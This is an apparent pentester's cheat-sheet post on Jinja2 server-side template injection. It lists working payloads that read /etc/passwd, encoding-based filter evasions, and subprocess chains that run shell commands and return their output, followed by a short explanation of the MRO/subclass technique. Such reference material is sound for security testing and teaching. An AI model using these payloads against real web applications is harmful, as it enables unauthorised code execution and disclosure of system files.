Server-Side Template Injection (SSTI)

R3zk0n · October 2, 2025

Contents

    Basic Tests

    {{7*7}}
    {{ ''.__class__ }}
    

    Remote Code Execution

    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

    Filter Evasion

    # Jinja (Python)
    {% set string = "ssti" %}
    {% set class = "__class__" %}
    {% set mro = "__mro__" %}
    {% set subclasses = "__subclasses__" %}
    
    {% set mro_r = string|attr(class)|attr(mro) %}                     # Access Subprocess Popen class
    {% set subclasses_r = mro_r[1]|attr(subclasses)() %}
    {{ subclasses_r[420](["/usr/bin/touch","/tmp/das-ist-walter"]) }}
    
    {% set class = "\x5f\x5fmro\x5f\x5f"%} # Filter evasion through encoding values
    Source: https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
    

    Dumping Contents

    {{''.__class__.__mro__[2].__subclasses__()[233]('uname -a',shell=True,stdout=-1).communicate()[0].strip()}} # From https://gist.github.com/mgeeky/fd994a067e3407fd87e8c224e65df8d8
    
    {% set string = "ssti" %}
    {% set class = "__class__" %}
    {% set mro = "__mro__" %}
    {% set subclasses = "__subclasses__" %}
    
    {% set mro_r = string|attr(class)|attr(mro) %}
    {% set subclasses_r = mro_r[1]|attr(subclasses)() %}
    {{ subclasses_r[1153](['uname', '-a'], stdout=-1).communicate()}} # Use stdout=-1 to dump all contents to response
    

    ==========================================================================

    Theory

    Templating Engines

    • Render a static file dynamically based on the context of the request and user.
    • A templating engine leverages delimiters so developers can tell the engine where a template block starts and ends.
    • Cross-site scripting vulnerabilities might also hint at an SSTI vulnerability since user-provided code is being entered into an unsanitized field.
    • Common Jinja Payload:
      ## Python 2.7 only
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} (Replace mro[1] if using Python 3)
      

    Dissecting the Jinja Payload

    • ’’ –> Empty String
    • class –> Class attribute, which returns str (string)
    • mro –> Method Resolution Order
      • A tuple of classes that are considered when looking for base classes during method resolution.
      • In Python, a class can inherit from other classes.
      • The mro attribute returned a tuple of classes in the order that an attribute would be searched for.
        • (<class '__main__.Strawberry'>, <class '__main__.Fruit'>, <class '__main__.Food'>, <class 'object'>)
      • As of Python 3, whenever a class is created, the built-in object class is inherited.
    • subclasses() –> Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.
    • subclasses()[40] –> The file subclass with a read function
    • (‘/etc/passwd’).read()

    Twitter, Facebook